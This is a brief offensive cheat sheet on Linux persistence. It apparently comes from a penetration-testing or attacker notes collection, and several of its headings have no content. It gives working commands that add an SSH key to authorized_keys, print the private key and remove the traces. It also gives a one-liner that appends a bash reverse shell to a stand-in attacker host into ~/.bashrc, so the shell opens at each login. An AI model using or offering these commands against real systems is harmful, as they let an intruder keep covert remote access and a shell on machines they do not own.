persistence

SSH Keys

Generate an SSH key pair

ssh-keygen -t rsa -b 2048 -f ~/.ssh/id_rsa -N ""

Add the public key to the authorized_keys file

cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

Clean up

rm ~/.ssh/id_rsa ~/.ssh/id_rsa.pub

One-line command

ssh-keygen -t rsa -b 2048 -f ~/.ssh/id_rsa -N ""; cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys; cat ~/.ssh/id_rsa; rm ~/.ssh/id_rsa ~/.ssh/id_rsa.pub

Cron Jobs

Environment Variables

Add a command to the user's .bashrc or .profile

echo 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1' >> ~/.bashrc

AutoStart Applications

SUID Binaries

Web Shells

Shared Library